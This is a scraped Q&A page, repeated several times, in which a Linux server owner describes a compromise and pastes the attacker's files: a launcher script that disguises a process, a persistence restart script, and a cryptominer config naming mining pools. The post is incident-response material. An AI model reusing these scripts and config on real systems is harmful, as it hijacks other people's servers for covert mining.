Who and how hacked my server?











up vote
-2
down vote

favorite












On my server I saw that "syslogd" consumes quite a lot of CPU and runs as a local user "copy:copy" (a valid user in my system). A short investigation revealed that this "syslogd" it was started from here:



ls /tmp/.mysql-2566
-rw-rw-r-- 1 copy copy 5 Nov 26 00:53 bash.pid
-rwxrwxr-x 1 copy copy 838583 Feb 20 2016 f
-rwxr-xr-x 1 copy copy 1049 Sep 24 08:45 httpd
-rwxr-xr-x 1 copy copy 276 Sep 24 08:46 r
-rwxr-xr-x 1 copy copy 1687632 Sep 24 07:52 syslogd
-rwxrw-r-- 1 copy copy 182 Oct 13 02:53 upd


The process was restarting by itself, the only way to prevent this was to rename the directory.



For sure, all these have nothing in common with syslogd/httpd/mysql.
The files "f" and "syslogd" are binary. And I show below the content of other files for completeness:



[root]# cat r
#!/bin/bash
ARCH=`uname -m`
HIDE="/var/www/httpd2"
hostname=`hostname`
if [ "$ARCH" == "i686" ]; then
./e -s $HIDE ./systemd -c httpd >>/dev/null &
elif [ "$ARCH" == "x86_64" ]; then
./f -s $HIDE ./syslogd -c httpd >>/dev/null &

fi
echo $! > bash.pid


Next file:



[root]# cat upd
#!/bin/sh
if test -r /tmp/.mysql-2566/bash.pid; then
pid=$(cat /tmp/.mysql-2566/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd /tmp/.mysql-2566
./r &>/dev/null


And the "config" file:



[root]# cat httpd 
{
"algo": "cryptonight",
"api": {
"port": 0,
"access-token": null,
"worker-id": null,
"ipv6": false,
"restricted": true
},
"av": 0,
"background": false,
"colors": true,
"cpu-priority": null,
"donate-level": 0,
"log-file": null,
"pools": [
{
"url": "nopro.online:80",
"user": "hash",
"pass": "x",
"keepalive": true,
"nicehash": false,
"variant": -1
},
{
"url": "nopro.xyz:80",
"user": "hash",
"pass": "x",
"keepalive": true,
"nicehash": false,
"variant": -1
},
{
"url": "146.0.253.66:80",
"user": "hash",
"pass": "x",
"keepalive": true,
"nicehash": false,
"variant": -1
}
],
"print-time": 60,
"retries": 3,
"retry-pause": 3,
"safe": false,
"syslog": false,
"threads": null
}


Signatures of the binaries:



[root]# sha1sum f syslogd 
59f5b21ef8a570c02453b5edb0e750a42a1382f6 f
f00e1f4c277bdb99319f4c7540e0c5637d5ef07d syslogd


The server root login is disabled, and the "sudo" user has a strong password.




  1. How can I know how the server was hacked?

  2. Who (and from where) installs the files into "/tmp/.mysql-2566"?

  3. Anyone else who has faced with this kind of problem?


Thanks a lot in advance!










share|improve this question







New contributor




Sasha is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
















  • 2




    This isn't gonna get a simple answer, you will need to comb thru logfiles to get an idea of what happened to your server. A starting point would be any process that is running with the "copy" userid, moreover if it has an open external interface (listening socket). If not you will need to backtrace a way to this userid. In any case the system seem quite compromised, it warrant a full re-installation
    – silmaril
    Nov 26 at 11:28






  • 1




    Also, if you want to do forensics, don't do it on a live system. Setting up a honeypot might also be a good idea, if you can't extract enough info from the compromised server.
    – dirkt
    Nov 26 at 11:35















up vote
-2
down vote

favorite












On my server I saw that "syslogd" consumes quite a lot of CPU and runs as a local user "copy:copy" (a valid user in my system). A short investigation revealed that this "syslogd" it was started from here:



ls /tmp/.mysql-2566
-rw-rw-r-- 1 copy copy 5 Nov 26 00:53 bash.pid
-rwxrwxr-x 1 copy copy 838583 Feb 20 2016 f
-rwxr-xr-x 1 copy copy 1049 Sep 24 08:45 httpd
-rwxr-xr-x 1 copy copy 276 Sep 24 08:46 r
-rwxr-xr-x 1 copy copy 1687632 Sep 24 07:52 syslogd
-rwxrw-r-- 1 copy copy 182 Oct 13 02:53 upd


The process was restarting by itself, the only way to prevent this was to rename the directory.



For sure, all these have nothing in common with syslogd/httpd/mysql.
The files "f" and "syslogd" are binary. And I show below the content of other files for completeness:



[root]# cat r
#!/bin/bash
ARCH=`uname -m`
HIDE="/var/www/httpd2"
hostname=`hostname`
if [ "$ARCH" == "i686" ]; then
./e -s $HIDE ./systemd -c httpd >>/dev/null &
elif [ "$ARCH" == "x86_64" ]; then
./f -s $HIDE ./syslogd -c httpd >>/dev/null &

fi
echo $! > bash.pid


Next file:



[root]# cat upd
#!/bin/sh
if test -r /tmp/.mysql-2566/bash.pid; then
pid=$(cat /tmp/.mysql-2566/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd /tmp/.mysql-2566
./r &>/dev/null


And the "config" file:



[root]# cat httpd 
{
"algo": "cryptonight",
"api": {
"port": 0,
"access-token": null,
"worker-id": null,
"ipv6": false,
"restricted": true
},
"av": 0,
"background": false,
"colors": true,
"cpu-priority": null,
"donate-level": 0,
"log-file": null,
"pools": [
{
"url": "nopro.online:80",
"user": "hash",
"pass": "x",
"keepalive": true,
"nicehash": false,
"variant": -1
},
{
"url": "nopro.xyz:80",
"user": "hash",
"pass": "x",
"keepalive": true,
"nicehash": false,
"variant": -1
},
{
"url": "146.0.253.66:80",
"user": "hash",
"pass": "x",
"keepalive": true,
"nicehash": false,
"variant": -1
}
],
"print-time": 60,
"retries": 3,
"retry-pause": 3,
"safe": false,
"syslog": false,
"threads": null
}


Signatures of the binaries:



[root]# sha1sum f syslogd 
59f5b21ef8a570c02453b5edb0e750a42a1382f6 f
f00e1f4c277bdb99319f4c7540e0c5637d5ef07d syslogd


The server root login is disabled, and the "sudo" user has a strong password.




  1. How can I know how the server was hacked?

  2. Who (and from where) installs the files into "/tmp/.mysql-2566"?

  3. Anyone else who has faced with this kind of problem?


Thanks a lot in advance!










share|improve this question







New contributor




Sasha is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
















  • 2




    This isn't gonna get a simple answer, you will need to comb thru logfiles to get an idea of what happened to your server. A starting point would be any process that is running with the "copy" userid, moreover if it has an open external interface (listening socket). If not you will need to backtrace a way to this userid. In any case the system seem quite compromised, it warrant a full re-installation
    – silmaril
    Nov 26 at 11:28






  • 1




    Also, if you want to do forensics, don't do it on a live system. Setting up a honeypot might also be a good idea, if you can't extract enough info from the compromised server.
    – dirkt
    Nov 26 at 11:35













up vote
-2
down vote

favorite









up vote
-2
down vote

favorite











On my server I saw that "syslogd" consumes quite a lot of CPU and runs as a local user "copy:copy" (a valid user in my system). A short investigation revealed that this "syslogd" it was started from here:



ls /tmp/.mysql-2566
-rw-rw-r-- 1 copy copy 5 Nov 26 00:53 bash.pid
-rwxrwxr-x 1 copy copy 838583 Feb 20 2016 f
-rwxr-xr-x 1 copy copy 1049 Sep 24 08:45 httpd
-rwxr-xr-x 1 copy copy 276 Sep 24 08:46 r
-rwxr-xr-x 1 copy copy 1687632 Sep 24 07:52 syslogd
-rwxrw-r-- 1 copy copy 182 Oct 13 02:53 upd


The process was restarting by itself, the only way to prevent this was to rename the directory.



For sure, all these have nothing in common with syslogd/httpd/mysql.
The files "f" and "syslogd" are binary. And I show below the content of other files for completeness:



[root]# cat r
#!/bin/bash
ARCH=`uname -m`
HIDE="/var/www/httpd2"
hostname=`hostname`
if [ "$ARCH" == "i686" ]; then
./e -s $HIDE ./systemd -c httpd >>/dev/null &
elif [ "$ARCH" == "x86_64" ]; then
./f -s $HIDE ./syslogd -c httpd >>/dev/null &

fi
echo $! > bash.pid


Next file:



[root]# cat upd
#!/bin/sh
if test -r /tmp/.mysql-2566/bash.pid; then
pid=$(cat /tmp/.mysql-2566/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd /tmp/.mysql-2566
./r &>/dev/null


And the "config" file:



[root]# cat httpd 
{
"algo": "cryptonight",
"api": {
"port": 0,
"access-token": null,
"worker-id": null,
"ipv6": false,
"restricted": true
},
"av": 0,
"background": false,
"colors": true,
"cpu-priority": null,
"donate-level": 0,
"log-file": null,
"pools": [
{
"url": "nopro.online:80",
"user": "hash",
"pass": "x",
"keepalive": true,
"nicehash": false,
"variant": -1
},
{
"url": "nopro.xyz:80",
"user": "hash",
"pass": "x",
"keepalive": true,
"nicehash": false,
"variant": -1
},
{
"url": "146.0.253.66:80",
"user": "hash",
"pass": "x",
"keepalive": true,
"nicehash": false,
"variant": -1
}
],
"print-time": 60,
"retries": 3,
"retry-pause": 3,
"safe": false,
"syslog": false,
"threads": null
}


Signatures of the binaries:



[root]# sha1sum f syslogd 
59f5b21ef8a570c02453b5edb0e750a42a1382f6 f
f00e1f4c277bdb99319f4c7540e0c5637d5ef07d syslogd


The server root login is disabled, and the "sudo" user has a strong password.




  1. How can I know how the server was hacked?

  2. Who (and from where) installs the files into "/tmp/.mysql-2566"?

  3. Anyone else who has faced with this kind of problem?


Thanks a lot in advance!










share|improve this question







New contributor




Sasha is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.











On my server I saw that "syslogd" consumes quite a lot of CPU and runs as a local user "copy:copy" (a valid user in my system). A short investigation revealed that this "syslogd" it was started from here:



ls /tmp/.mysql-2566
-rw-rw-r-- 1 copy copy 5 Nov 26 00:53 bash.pid
-rwxrwxr-x 1 copy copy 838583 Feb 20 2016 f
-rwxr-xr-x 1 copy copy 1049 Sep 24 08:45 httpd
-rwxr-xr-x 1 copy copy 276 Sep 24 08:46 r
-rwxr-xr-x 1 copy copy 1687632 Sep 24 07:52 syslogd
-rwxrw-r-- 1 copy copy 182 Oct 13 02:53 upd


The process was restarting by itself, the only way to prevent this was to rename the directory.



For sure, all these have nothing in common with syslogd/httpd/mysql.
The files "f" and "syslogd" are binary. And I show below the content of other files for completeness:



[root]# cat r
#!/bin/bash
ARCH=`uname -m`
HIDE="/var/www/httpd2"
hostname=`hostname`
if [ "$ARCH" == "i686" ]; then
./e -s $HIDE ./systemd -c httpd >>/dev/null &
elif [ "$ARCH" == "x86_64" ]; then
./f -s $HIDE ./syslogd -c httpd >>/dev/null &

fi
echo $! > bash.pid


Next file:



[root]# cat upd
#!/bin/sh
if test -r /tmp/.mysql-2566/bash.pid; then
pid=$(cat /tmp/.mysql-2566/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd /tmp/.mysql-2566
./r &>/dev/null


And the "config" file:



[root]# cat httpd 
{
"algo": "cryptonight",
"api": {
"port": 0,
"access-token": null,
"worker-id": null,
"ipv6": false,
"restricted": true
},
"av": 0,
"background": false,
"colors": true,
"cpu-priority": null,
"donate-level": 0,
"log-file": null,
"pools": [
{
"url": "nopro.online:80",
"user": "hash",
"pass": "x",
"keepalive": true,
"nicehash": false,
"variant": -1
},
{
"url": "nopro.xyz:80",
"user": "hash",
"pass": "x",
"keepalive": true,
"nicehash": false,
"variant": -1
},
{
"url": "146.0.253.66:80",
"user": "hash",
"pass": "x",
"keepalive": true,
"nicehash": false,
"variant": -1
}
],
"print-time": 60,
"retries": 3,
"retry-pause": 3,
"safe": false,
"syslog": false,
"threads": null
}


Signatures of the binaries:



[root]# sha1sum f syslogd 
59f5b21ef8a570c02453b5edb0e750a42a1382f6 f
f00e1f4c277bdb99319f4c7540e0c5637d5ef07d syslogd


The server root login is disabled, and the "sudo" user has a strong password.




  1. How can I know how the server was hacked?

  2. Who (and from where) installs the files into "/tmp/.mysql-2566"?

  3. Anyone else who has faced with this kind of problem?


Thanks a lot in advance!







linux security malware malware-removal malware-detection






share|improve this question







New contributor




Sasha is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.











share|improve this question







New contributor




Sasha is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.









share|improve this question




share|improve this question






New contributor




Sasha is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.









asked Nov 26 at 9:51









Sasha

11




11




New contributor




Sasha is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.





New contributor





Sasha is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.






Sasha is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.








  • 2




    This isn't gonna get a simple answer, you will need to comb thru logfiles to get an idea of what happened to your server. A starting point would be any process that is running with the "copy" userid, moreover if it has an open external interface (listening socket). If not you will need to backtrace a way to this userid. In any case the system seem quite compromised, it warrant a full re-installation
    – silmaril
    Nov 26 at 11:28






  • 1




    Also, if you want to do forensics, don't do it on a live system. Setting up a honeypot might also be a good idea, if you can't extract enough info from the compromised server.
    – dirkt
    Nov 26 at 11:35














  • 2




    This isn't gonna get a simple answer, you will need to comb thru logfiles to get an idea of what happened to your server. A starting point would be any process that is running with the "copy" userid, moreover if it has an open external interface (listening socket). If not you will need to backtrace a way to this userid. In any case the system seem quite compromised, it warrant a full re-installation
    – silmaril
    Nov 26 at 11:28






  • 1




    Also, if you want to do forensics, don't do it on a live system. Setting up a honeypot might also be a good idea, if you can't extract enough info from the compromised server.
    – dirkt
    Nov 26 at 11:35








2




2




This isn't gonna get a simple answer, you will need to comb thru logfiles to get an idea of what happened to your server. A starting point would be any process that is running with the "copy" userid, moreover if it has an open external interface (listening socket). If not you will need to backtrace a way to this userid. In any case the system seem quite compromised, it warrant a full re-installation
– silmaril
Nov 26 at 11:28




This isn't gonna get a simple answer, you will need to comb thru logfiles to get an idea of what happened to your server. A starting point would be any process that is running with the "copy" userid, moreover if it has an open external interface (listening socket). If not you will need to backtrace a way to this userid. In any case the system seem quite compromised, it warrant a full re-installation
– silmaril
Nov 26 at 11:28




1




1




Also, if you want to do forensics, don't do it on a live system. Setting up a honeypot might also be a good idea, if you can't extract enough info from the compromised server.
– dirkt
Nov 26 at 11:35




Also, if you want to do forensics, don't do it on a live system. Setting up a honeypot might also be a good idea, if you can't extract enough info from the compromised server.
– dirkt
Nov 26 at 11:35















active

oldest

votes











Your Answer








StackExchange.ready(function() {
var channelOptions = {
tags: "".split(" "),
id: "3"
};
initTagRenderer("".split(" "), "".split(" "), channelOptions);

StackExchange.using("externalEditor", function() {
// Have to fire editor after snippets, if snippets enabled
if (StackExchange.settings.snippets.snippetsEnabled) {
StackExchange.using("snippets", function() {
createEditor();
});
}
else {
createEditor();
}
});

function createEditor() {
StackExchange.prepareEditor({
heartbeatType: 'answer',
convertImagesToLinks: true,
noModals: true,
showLowRepImageUploadWarning: true,
reputationToPostImages: 10,
bindNavPrevention: true,
postfix: "",
imageUploader: {
brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
allowUrls: true
},
onDemand: true,
discardSelector: ".discard-answer"
,immediatelyShowMarkdownHelp:true
});


}
});






Sasha is a new contributor. Be nice, and check out our Code of Conduct.










draft saved

draft discarded


















StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fsuperuser.com%2fquestions%2f1378422%2fwho-and-how-hacked-my-server%23new-answer', 'question_page');
}
);

Post as a guest















Required, but never shown






























active

oldest

votes













active

oldest

votes









active

oldest

votes






active

oldest

votes








Sasha is a new contributor. Be nice, and check out our Code of Conduct.










draft saved

draft discarded


















Sasha is a new contributor. Be nice, and check out our Code of Conduct.













Sasha is a new contributor. Be nice, and check out our Code of Conduct.












Sasha is a new contributor. Be nice, and check out our Code of Conduct.
















Thanks for contributing an answer to Super User!


  • Please be sure to answer the question. Provide details and share your research!

But avoid



  • Asking for help, clarification, or responding to other answers.

  • Making statements based on opinion; back them up with references or personal experience.


To learn more, see our tips on writing great answers.





Some of your past answers have not been well-received, and you're in danger of being blocked from answering.


Please pay close attention to the following guidance:


  • Please be sure to answer the question. Provide details and share your research!

But avoid



  • Asking for help, clarification, or responding to other answers.

  • Making statements based on opinion; back them up with references or personal experience.


To learn more, see our tips on writing great answers.




draft saved


draft discarded














StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fsuperuser.com%2fquestions%2f1378422%2fwho-and-how-hacked-my-server%23new-answer', 'question_page');
}
);

Post as a guest















Required, but never shown





















































Required, but never shown














Required, but never shown












Required, but never shown







Required, but never shown

































Required, but never shown














Required, but never shown












Required, but never shown







Required, but never shown







Popular posts from this blog

flock() on closed filehandle LOCK_FILE at /usr/bin/apt-mirror

Mangá

Eduardo VII do Reino Unido